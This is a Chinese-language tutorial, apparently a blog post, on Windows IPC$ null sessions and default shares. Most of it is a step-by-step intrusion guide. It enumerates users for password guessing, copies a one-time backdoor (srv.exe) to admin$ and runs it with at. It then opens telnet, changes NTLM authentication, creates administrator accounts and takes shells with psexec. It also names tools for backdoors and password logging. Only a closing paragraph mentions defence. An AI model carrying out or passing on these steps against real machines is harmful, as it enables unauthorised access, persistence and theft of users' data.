IPC $(空連接)及其造成的危險


使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ "" /user:"" 就可以簡單地和目標建立一個空連接(需要目標開放ipc$)。

  • 功 能:共享 “命名管道” 的資源

  • 要 求:需要目標開放ipc$

  • 應 用:查看遠程主機的共享資源

基本簡介

注意:本文所討論的各種情況均默認發生在 win NT/2000/XP/win 7 環境下, win98 將不在此次討論之列。

空連接就是不用密碼和用戶名的IPC連接,在Windows 下,它是用 Net 命令來實現的。進入空連接 net use \\IP地址"密碼" /user:"用戶名"  禁止空連接 開始-設置-控制面板-管理工具-服務 ,在服務中停止掉 server的服務就可以了。

利用IPC$,連接者可以與目標主機建立一個空的連接,即無需用戶名和密碼就能連接主機,當然這樣連接是沒有任何操作權限的。但利用這個空的連接,連接者可以得到目標主機上的用戶列表。利用獲得的用戶列表,就可以猜密碼,或者窮舉密碼,從而獲得更高,甚至管理員權限。

功能

IPC$(Internet Process Connection) 是共享 “命名管道” 的資源,它是爲了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。

IPC$ 是 NT/2000 的一項新功能,它有一個特點,即在同一時間內,兩個 IP 之間只允許建立一個連接。 NT/2000 在提供了 ipc$ 功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享 (c$,d$,e$ …… ) 和系統目錄 winnt 或 windows(admin$) 共享。所有的這些,微軟的初衷都是爲了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。

其他

平時我們總能聽到有人在說 ipc$ 漏洞, ipc$ 漏洞,其實 ipc$ 並不是一個真正意義上的漏洞 , 我想之所以有人這麼說,一定是指微軟自己安置的那個’後門’:空會話( Null session )。那麼什麼是空會話呢?

空會話

建立

在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。

在 Windows NT 4.0 中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成爲一個安全隧道,雙方通過它互通信息,這個過程的大致順序如下:

​ 1 )會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建立;

​ 2 )服務器產生一個隨機的 64 位數(實現挑戰)傳送回客戶;

​ 3 )客戶取得這個由服務器產生的 64 位數,用試圖建立會話的帳號的口令打亂它,將結果返回到 服務器(實現響應);

​ 4 )服務器接受響應後發送給 本地安全驗證( LSA ), LSA 通過使用該用戶正確的口令來覈實響 應以便確認請求者身份。如果請求者的帳號是服務器的本地帳號,覈實本地發生;如果請求的帳 號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應覈實爲正確後,一個訪問令牌 產生,然後傳送給客戶。客戶使用這個訪問令牌連接到服務器上的資源直到建立的會話被終止。

以上是一個安全會話建立的大致過程,那麼空會話又如何呢?

空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據 WIN2000 的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這並不表示空會話的令牌中不包含 安全標識符SID (它標識了用戶和所屬組),對於一個空會話, LSA 提供的令牌的 SID 是 S- 1-5-7 ,這就是空會話的 SID ,用戶名是: ANONYMOUS LOGON (這個用戶名是可以在用戶列表中看到的,但是不能在 SAM 數據庫中找到,屬於系統內置的帳號),這個訪問令牌包含下面僞裝的組:

Everyone

Network

**在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。**那麼建立空會話到底可以作什麼呢?

應用

對於 NT ,在默認安全設置下,藉助空連接可以列舉目標主機上的用戶和共享,訪問 everyone 權限的共享,訪問小部分註冊表等,並沒有什麼太大的利用價值;對 2000 作用更小,因爲在 Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網絡訪問到註冊表,而且實現起來也不方便,需藉助工具。

從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的 ipc$ 入侵來看,空會話是一個不可缺少的跳板,因爲我們從它那裏可以得到用戶列表,而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:

1 首先,我們先建立一個空會話(當然,這需要目標開放 ipc$ )

命令: net use(此處需要一個空格,後面也是一樣)\\ip\ipc$ "" /user:"" (注:前邊引號""內爲空密碼,後邊user:""引號中爲空用戶名)

注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 後面一個,密碼左右各一個空格。

2 查看遠程主機的共享資源

命令: net view \\ip

解釋:前提是建立了空連接後,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。

在 \\*.*.*.* 的共享資源

資源共享名 類型 用途 註釋

--------------------------------------------------------------------------

NETLOGON Disk Logon server share

SYSVOL Disk Logon server share

命令成功完成。

3 查看遠程主機的當前時間

命令: net time \\ip

解釋:用此命令可以得到一個遠程主機的當前時間。

4 得到遠程主機的 NetBIOS 用戶名列表(需要打開自己的 NBT )

命令: nbtstat -A ip

用此命令可以得到一個遠程主機的 NetBIOS 用戶名列表,返回如下結果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status

---------------------------------------------

SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H < 1C > GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services < 1C > GROUP Registered
IS~SERVER......<00> UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37

以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立 IPC$ 連接的操作會在 Event Log 中留下記錄,不管你是否登錄成功。 好了,那麼接下來我們就來看看 ipc$ 所使用的端口是什麼?

關於操作

所用端口

首先我們來了解一些基礎知識:

1 SMB:(Server Message Block) Windows 協議族,用於文件打印共享的服務;

2 NBT:(NETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口實現基於 TCP/IP 協議的 NETBIOS網絡互聯。

3 在 WindowsNT 中 SMB 基於 NBT 實現,即使用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基於 NBT 實現,還可以直接通過 445 端口實現。

有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:

對於 win2000客戶端(發起端)來說:

1 如果在允許 NBT 的情況下連接服務器時,客戶端會同時嘗試訪問 139 和 445 端口,如果 445 端口有響應,那麼就發送 RST 包給 139 端口斷開連接,用 455 端口進行會話,當 445 端口無響應時,才使用 139 端口,如果兩個端口都沒有響應,則會話失敗;

2 如果在禁止 NBT 的情況下連接服務器時,那麼客戶端只會嘗試訪問 445 端口,如果 445 端口無響應,那麼會話失敗。

對於 win2000 服務器端來說:

1 如果允許 NBT, 那麼 UDP 端口 137, 138, TCP 端口 139, 445 將開放( LISTENING );

2 如果禁止 NBT ,那麼只有 445 端口開放。

**我們建立的 ipc$ 會話對端口的選擇同樣遵守以上原則。**顯而易見,如果遠程服務器沒有監聽 139 或 445 端口, ipc$ 會話是無法建立的。

複製文件

有些朋友雖然成功的建立了 ipc$ 連接,但在 copy 時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?

1. 對方未開啓共享文件夾

這類錯誤出現的最多,佔到 50% 以上。許多朋友在 ipc$ 連接建立成功後,甚至都不知道對方是否有共享文件夾,就進行盲目複製,結果導致複製失敗而且鬱悶的很。因此我建議大家在進行復制之前務必用 net view\\IP這個命令看一下你想要複製的共享文件夾是否存在(用軟件查看當然更好),不要認爲能建立 ipc$ 連接就一定有共享文件夾存在。

2. 向默認共享複製失敗

這類錯誤也是大家經常犯的,主要有兩個小方面:

1)錯誤的認爲能建立 ipc$ 連接的主機就一定開啓了默認共享,因而在建立完連接之後馬上向 c$,d$,admin$ 之類的默認共享複製文件,一旦對方未開啓默認共享,將導致複製失敗。 ipc$ 連接成功只能說明對方打開了 ipc$ 共享,並不能說明默認共享一定存在。 ipc$ 共享與默認共享是 兩碼事, ipc$ 共享是一個命名管道,並不是哪個實際的文件夾,而默認共享卻是實實在在的共享文件夾;

2)由於 net view\\IP這個命令無法顯示默認共享文件夾(因爲默認共享帶 $ ),因此通過這個命令,我們並不能判斷對方是否開啓了默認共享,因此如果對方未開啓默認共享,那麼所有向默認共享進行的操作都不能成功;(不過大部分掃描軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)

要點:請大家一定區分 ipc 共享,默認共享,普通共享這三者的區別: ipc 共享是一個管道,並不是實際的共享文件夾;默認共享是安裝時默認打開的文件夾;普通共享是我們自己開啓的可以設置權限的共享文件夾。

3. 用戶權限不夠,包括四種情形:

1 )空連接向所有共享(默認共享和普通共享)複製時,權限是不夠的;

2 )向默認共享複製時,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 組成員纔可以,在 Win2000 Server 版本 Server Operatros 組也可以訪問到這些共享目錄;

3 )向普通共享複製時,要具有相應權限(即對方管理員事先設定的訪問權限);

4 )對方可以通過防火牆或安全軟件的設置,禁止外部訪問共享;

注意:

A. 不要認爲 administrator 就一定具有管理員權限,管理員名稱是可以改的

B. 管理員可以訪問默認共享的文件夾,但不一定能夠訪問普通的共享文件夾,因爲管理員可以對普通的共享文件夾進行訪問權限設置,管理員爲 D 盤設置的訪問權限爲僅允許名爲 xinxin 的用戶對該文件夾進行完全訪問,那麼此時即使你擁有管理員權限,你仍然不能訪問 D 盤。不過有意思的是,如果此時對方又開啓了 D$ 的默認共享,那麼你卻可以訪問 D$ ,從而繞過了權限限制,有興趣的朋友可以自己做測試。

4. 被防火牆殺死或在局域網

還有一種情況,那就是也許你的複製操作已經成功,但當遠程運行時,被防火牆殺掉了,導致找不到文件;或者你把木馬複製到了局域網內的主機,導致連接失敗(反向連接的木馬不會發生這種情況)。如果你沒有想到這種情況,你會以爲是複製上出了問題,但實際你的複製操作已經成功了,只是運行時出了問題。

命令限制

本來還想說一下用 at 遠程運行程序失敗的原因,但考慮到 at 的成功率不是很高,問題也很多,在這裏就不提它了(提的越多,用的人就越多),而是推薦大家用 psexec.exe 遠程運行程序,假設想要遠程機器執行本地 c:\xinxin.exe 文件,且管理員爲 administrator ,密碼爲 1234 ,那麼輸入下面的命令:

psexec\\遠程機器ip -u administrator -p 1234 -c c:\xinxin.exe

PsExec 是一個輕型的 telnet 替代工具,它使您無需手動安裝客戶端軟件即可執行其他系統上的進程,並且可以獲得與控制檯應用程序相當的完全交互性。psexec工具主要是做執行遠程主機上的命令,比如說執行遠程主機上的命令安裝軟件,執行遠程主機上的命令啓動服務等(命令包括exe文件、bat文件、vbs文件)。

格式爲:psexec \\遠程機器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]

如果已經建立 ipc 連接,則 -u -p 這兩個參數不需要, psexec.exe 將自動拷貝文件到遠程機器並運行。

本來 xp 中的 ipc$ 也不想在這裏討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問爲什麼遇到 xp 的時候,大部分操作都很難成功。我在這裏就簡單提一下吧,在 xp 的默認安全選項中,任何遠程訪問僅被賦予來賓權限,也就是說即使你是用管理員帳戶和密碼,你所得到的權限也只是 Guest ,因此大部分操作都會因爲權限不夠而失敗,而且到目前爲止並沒有一個好的辦法來突破這一限制。所以如果你真的得到了 xp 的管理員密碼,我建議你儘量避開 ipc 管道。

共享

目標的 ipc$ 不是輕易就能打開的,否則就要天下打亂了。你需要一個 admin 權限的 shell ,比如 telnet ,木馬, cmd 重定向等,然後在 shell 下執行:

net share ipc$

開放目標的 ipc$ 共享;

net share ipc$ /del

關閉目標的 ipc$ 共享;如果你要給它開共享文件夾,你可以用:

net share xinxin=c:\

這樣就把它的 c 盤開爲共享名爲 xinxin共享文件夾了。再次聲明,這些操作都是在 shell 下才能實現的。

完成命令

入侵中可能會用到的命令

爲了這份教程的完整性,我列出了 ipc$ 入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部分看下面的內容。請注意這些命令是適用於本地還是遠程,如果只適用於本地,你只能在獲得遠程主機的 shell (如 cmd , telnet 等)後,才能向遠程主機執行。

1 建立 / 刪除 ipc$ 連接的命令

1 )建立空連接 :
net use \\127.0.0.1\ipc$ "" /user: ""

2 )建立非空連接 :
net use \\127.0.0.1\ipc$" 密碼 " /user:" 用戶名 "

3 )刪除連接 :
net use \\127.0.0.1\ipc$ /del

2 在 ipc$ 連接中對遠程主機的操作命令

1 ) 查看遠程主機的共享資源(共享文件夾)(看不到默認共享) :
net view \\127.0.0.1

2 ) 查看遠程主機的當前時間 :
net time \\127.0.0.1

3 ) 得到遠程主機的netbios用戶名列表 :
nbtstat -A 127.0.0.1

4 )映射 / 刪除遠程共享 :
net use z:\\127.0.0.1\c
此命令將共享名爲 c 的共享資源映射爲本地 z 盤
net use z: /del
刪除映射的 z 盤,其他盤類推

5 )向遠程主機複製文件 :
copy路徑\ 文件名\\IP\共享目錄名,如:
copy c:\xinxin.exe\\127.0.0.1\c$即將 c 盤下的 xinxin.exe 複製到對方 c 盤內
當然,你也可以把遠程主機上的文件複製到自己的機器裏:
copy \\127.0.0.1\c$\xinxin.exec:\

6 )遠程添加計劃任務 :
at \\IP 時間 程序名 如:
at \\127.0.0.1 11:00 xinxin.exe

注意:時間儘量使用 24 小時制;如果你打算運行的程序在系統默認搜索路徑(比如 system32/ )下則不用加路徑,否則必須加全路徑。目前at命令已被棄用,改用schtasks命令,可用schtasks /?來查詢其使用方法。

3 本地命令

1 )查看本地主機的共享資源(可以看到本地的默認共享)
net share

2 )得到本地主機的用戶列表
net user

3 )顯示本地某用戶的帳戶信息
net user 帳戶名

4 )顯示本地主機當前啓動的服務
net start

5 )啓動 / 關閉本地服務
net start 服務名
net stop 服務名

6 )在本地添加帳戶
net user 帳戶名密碼 /add

7 )激活禁用的用戶
net uesr 帳戶名 /active:yes

8 )加入管理員組
net localgroup administrators 帳戶名 /add

很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的 shell 中輸入,比如你 telnet 成功後輸入上面這些命令,那麼這些本地輸入將作用在遠程主機上。

4 其他一些命令

1 ) telnet
telnet IP 端口
telnet 127.0.0.0 23

2 )用 opentelnet.exe 開啓遠程主機的 telnet
OpenTelnet.exe\\ip 管理員帳號 密碼 NTLM 的認證方式 port
OpenTelnet.exe\\127.0.0.1 administrator "" 1 90

不過這個小工具需要滿足四個要求:

1 )目標開啓了 ipc$ 共享
2 )你要擁有管理員密碼和帳號
3 )目標開啓 RemoteRegistry 服務,用戶就可以更改 ntlm 認證
4 )對僅 WIN2K/XP 有效
3 )**用 psexec.exe 一步獲得 shell ,需要 ipc 管道支持**

psexec.exe \\IP- u 管理員帳號 -p 密碼 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd

對比過去和現今的 ipc$ 入侵

既然是對比,那麼我就先把過去的 ipc$ 入侵步驟寫給大家,都是蠻經典的步驟:

[1]
C:\>net use \\127.0.0.1\ipc$"" /user:admintitrators
\\ 用掃到的空口令建立連接

[2]
c:\>net view \\127.0.0.1
\\ 查看遠程的共享資源

[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 將一次性後門 srv.exe 複製到對方的系統文件夾下,前提是 admin$ 開啓

[4]
C:\>net time \\127.0.0.1
\\ 查看遠程主機的當前時間

[5]
C:\>at \\127.0.0.1時間 srv.exe
\\ 用 at 命令遠程運行 srv.exe ,需要對方開啓了 'Task Scheduler' 服務

[6]
C:\>net time \\127.0.0.1
\\ 再次查看當前時間來估算 srv.exe 是否已經運行,此步可以省略

[7]
C:\>telnet 127.0.0.1 99
\\ 開一個新窗口,用 telnet遠程登陸到 127.0.0.1 從而獲得一個 shell( 不懂 shell 是什麼意思?那你就把它想象成遠程機器的控制權就好了,操作像 DOS) , 99 端口是 srv.exe 開的一次性後門的端口

[8]
C:\WINNT\system32>net start telnet
\\ 我們在剛剛登陸上的 shell 中啓動遠程機器的 telnet 服務,畢竟 srv.exe 是一次性的後門,我們需要一個長久的後門便於以後訪問,如果對方的 telnet 已經啓動,此步可省略

[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原來那個窗口中將 ntlm.exe 傳過去, ntlm.exe 是用來更改 telnet身份驗證的

[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中運行 ntlm.exe ,以後你就可以暢通無阻的 telnet 這臺主機了

[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,這樣我們又獲得一個長期的後門

[12]
C:\WINNT\system32>net user 帳戶名 密碼 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帳戶名 /add
\\telnet上以後,你可以建立新帳戶,激活 guest ,把任何帳戶加入管理員組等

好了,寫到這裏我似乎回到了 2 , 3 年前,那時的 ipc$ 大家都是這麼用的,不過隨着新工具的出現,上面提到的一些工具和命令已經不常用到了,那就讓我們看看高效而簡單的 ipc$ 入侵吧。

[1]
 psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd
\\ 用這個工具我們可以一步到位的獲得 shell

OpenTelnet.exe \\server管理員帳號 密碼 NTLM 的認證方式 port
\\ 用它可以方便的更改 telnet 的驗證方式和端口,方便我們登陸

[2] 
已經沒有第二步了,用一步獲得 shell 之後,你做什麼都可以了,安後門可以用 winshell ,克隆就用 ca 吧,開終端用 3389.vbe ,記錄密碼用 win2kpass ,總之好的工具不少,隨你選了,我就不多說了。

附錄

命名管道

“命名管道”又名“命名管線”(Named Pipes),是一種簡單的進程間通信(IPC)機制,Microsoft Windows大都提供了對它的支持(但不包括Windows CE)。命名管道可在同一臺計算機的不同進程之間或在跨越一個網絡的不同計算機的不同進程之間,支持可靠的、單向或雙向的數據通信。推薦用命名管道作爲進程通信方案的一項重要的原因是它們充分利用了Windows內建的安全特性(ACL等)。

命名管道(NamedPipe)是服務器進程和一個或多個客戶進程之間通信的單向或雙向管道。不同於匿名管道的是:命名管道可以在不相關的進程之間和不同計算機之間使用,服務器建立命名管道時給它指定一個名字,任何進程都可以通過該名字打開管道的另一端,根據給定的權限和服務器進程通信。命名管道提供了相對簡單的編程接口,使通過網絡傳輸數據並不比同一計算機上兩進程之間通信更困難,不過如果要同時和多個進程通信它就力不從心了。

默認共享

在Windows 2000/XP/2003系統中,邏輯分區與Windows目錄默認爲共享,這是爲管理員管理服務器的方便而設,但卻成爲了別有用心之徒可乘的安全漏洞。

基本介紹

IPC$(Internet Process Connection)是共享"命名管道"的資源,它是爲了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。

利用IPC$,連接者可以與目標主機建立一個空的連接,即無需用戶名和密碼就能連接主機,當然這樣連接是沒有任何操作權限的。但利用這個空的連接,連接者可以得到目標主機上的用戶列表。利用獲得的用戶列表,就可以猜密碼,或者窮舉密碼,從而獲得更高,甚至管理員權限。

只要通過IPC$,獲得足夠的權限,就可以在主機上運行程序(如木馬程序)、創建用戶、把主機上C、D、E等邏輯分區共享給入侵者,主機上的所有資料,包括QQ密碼、email帳號密碼、甚至存在電腦裏的信用卡資料都會暴露在入侵者面前。

要防止別人用ipc$和默認共享入侵,需要禁止ipc$空連接,避免入侵者取得用戶列表,並取消默認共享。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章